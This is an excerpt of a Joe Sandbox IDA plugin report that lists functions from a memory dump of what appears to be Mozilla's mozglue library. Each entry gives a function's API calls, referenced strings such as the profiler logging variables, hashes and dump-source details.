Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction ID: 24cbc72bd3d5390b5212edcceff619912e7f5c7f65775dc0a55415a0ae2abf42
Opcode Fuzzy Hash: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction Fuzzy Hash: D8413771908745AFC341DF28C480A8FBBE5BF8A354F50CA2EF49987651EB30E549CB86

Function 6C619420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
__Init_thread_footer.LIBCMT ref: 6C61949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C619459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C61946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C61947D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction ID: c007017edff905cf0b2949cc2b812e04e40c196ad86ae241fd1f0955dd370340
Opcode Fuzzy Hash: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction Fuzzy Hash: 0301D870B041018BD700DB5FDD51A9A33759F0A32EF644536DD0BC6F52D722D465895F

Function 6C5DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6AC

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5DB61E), ref: 6C5DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB79A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction ID: f973d5a1bf15b3c4ea8f3b830fa7fd625e232a04d1dea47779d48892fb9e9a0c
Opcode Fuzzy Hash: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction Fuzzy Hash: 8641B5B2D002159FCB04DF6CDC805AEB7B6BB85324F264669E825E7780E731ED0487D9

Function 6C64B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C64B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C64B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C64B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C64B5F4
__Init_thread_footer.LIBCMT ref: 6C64B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C64B61F
std::_Facet_Register.LIBCPMT ref: 6C64B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B655

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction ID: b3bf56f88296c04a18f5d9e09ee32895035bbe960e667af5f5d7442c650ec561
Opcode Fuzzy Hash: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction Fuzzy Hash: 29317471B001048BCF04EF6AC8985AEB7F5FBC6324F644655D94697780DB71A806CF9E

Function 6C616590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6167C8

Part of subcall function 6C624290: memcpy.VCRUNTIME140(?,?,6C632003,6C630AD9,?,6C630AD9,00000000,?,6C630AD9,?,00000004,?,6C631A62,?,6C632003,?), ref: 6C6242C4

Strings

data, xrefs: 6C616593
vel, xrefs: 6C61696C

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vel
API String ID: 511789754-235608994
Opcode ID: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction ID: e2952a0a1c09cdf61be258c86701e719cc1201f4f273b862ec1979ac7733a104
Opcode Fuzzy Hash: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction Fuzzy Hash: E4D1BF75A083408BD724DF29C840B9BB7E5EFC5308F10892DD58987B91EB71E809CB5A

Function 6C60D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5DEB57,?,?,?,?,?,?,?,?,?), ref: 6C60D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5DEB57,?), ref: 6C60D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5DEB57,?), ref: 6C60D673
free.MOZGLUE(?), ref: 6C60D888

Strings

|Enabled, xrefs: 6C60D81E
W]l, xrefs: 6C60D5D9, 6C60D63F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W]l$|Enabled
API String ID: 4142949111-2942830398
Opcode ID: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction ID: 99872a2bbca111863dc3e694a459c73417c5726c162ecd48cad435c695c3d7ee
Opcode Fuzzy Hash: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction Fuzzy Hash: 90A1F2B0B003049FDB19CF69C9D07AEBBF1AF49318F58815CD885AB741D735A845CBA9

Function 6C621D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C621D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D4C
GetCurrentThreadId.KERNEL32 ref: 6C621DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C621DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C621DDA

Part of subcall function 6C621EF0: GetCurrentThreadId.KERNEL32 ref: 6C621F03
Part of subcall function 6C621EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C621DF2,00000000,00000000), ref: 6C621F0C
Part of subcall function 6C621EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C621F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C621DF4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction ID: 32d6001d44c943ab30f3fa0f92ef8f8e4a3e5ca717e45d1ff8b6c4be8af5a4da
Opcode Fuzzy Hash: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction Fuzzy Hash: 2E4179B52047019FCB14CF29C488A56BBF9FB89354F60442DE99A87B41CB35F854CB99

Function 6C6184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185AC

Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61767F
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C617693
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185B2

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction ID: 737218160b7d423da58f8143ff0f9a2f3b30ef60a11bf7ece1a09c163b6a3710
Opcode Fuzzy Hash: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction Fuzzy Hash: AA219F742046019FDB14DF29C888A6AB7B5EF8830DF25482DE55B83B51DB31F948CB59

Function 6C5E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E1699
VerSetConditionMask.NTDLL ref: 6C5E16CB
VerSetConditionMask.NTDLL ref: 6C5E16D7
VerSetConditionMask.NTDLL ref: 6C5E16DE
VerSetConditionMask.NTDLL ref: 6C5E16E5
VerSetConditionMask.NTDLL ref: 6C5E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E16F9

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction ID: af939b88a34692d58bd748ea896bf9a25665b00e23c2f9321e85b4e0a27894f7
Opcode Fuzzy Hash: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction Fuzzy Hash: 3E2102B07402086FEB10AB658C85FBBB3BCEFCA704F508528F6059B680C6799D548AA5

Function 6C61F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction ID: 48961d4249ed467fab7fec41923b139f2d1d617ddb26f1ed40591ff4f534c0f9
Opcode Fuzzy Hash: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction Fuzzy Hash: 09119475305205ABCB04EF5AD5849A57779FF8636DFA40015EA0583F42CB71A821CBAE

Function 6C6376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C637705

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C637717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C63778F,00000000,00000000,00000000,00000000), ref: 6C637731
free.MOZGLUE(00000000), ref: 6C637760

Strings

}>al, xrefs: 6C6376C4

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>al
API String ID: 2538299546-2919635026
Opcode ID: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction ID: 12d048eba9ed0a31123fab2fdc843d28214a5629f637f78c0658985a908a81e7
Opcode Fuzzy Hash: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction Fuzzy Hash: 1811B6B1904325ABE710AF769D44BAB7EF8EF85354F145429F88897300E771984487E6

Function 6C5E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C60D9F0,00000000), ref: 6C5E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5E0F3C
__Init_thread_footer.LIBCMT ref: 6C5E0F50
FreeLibrary.KERNEL32(?,6C60D9F0,00000000), ref: 6C5E0F86

Strings

combase.dll, xrefs: 6C5E0F18
CoInitializeEx, xrefs: 6C5E0F36

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction ID: de2a9d3b34ae51405991d5045355cab596a8319fc408667cd103403eb44ae45d
Opcode Fuzzy Hash: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction Fuzzy Hash: CF110E313052409BDF00CF6ACD88E5637B4FB9B322FA4422AE91693740DB32A411CA6F

Function 6C61F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F561

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F585
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C61F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C61F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C61F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C61F3A8

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction ID: 97905f64da325c01969e40aaf5b70669f32092f2360457fcf2c8cf8979fe635b
Opcode Fuzzy Hash: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction Fuzzy Hash: CDF0B4753002009BDB00EF6AD88896A77BDEFC629EFA40411EA05C3B02CB314801876E

Function 6C5E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5E0DF8), ref: 6C5E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5E0EA1
__Init_thread_footer.LIBCMT ref: 6C5E0EB5
FreeLibrary.KERNEL32 ref: 6C5E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5E0E9B
kernel32.dll, xrefs: 6C5E0E7D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
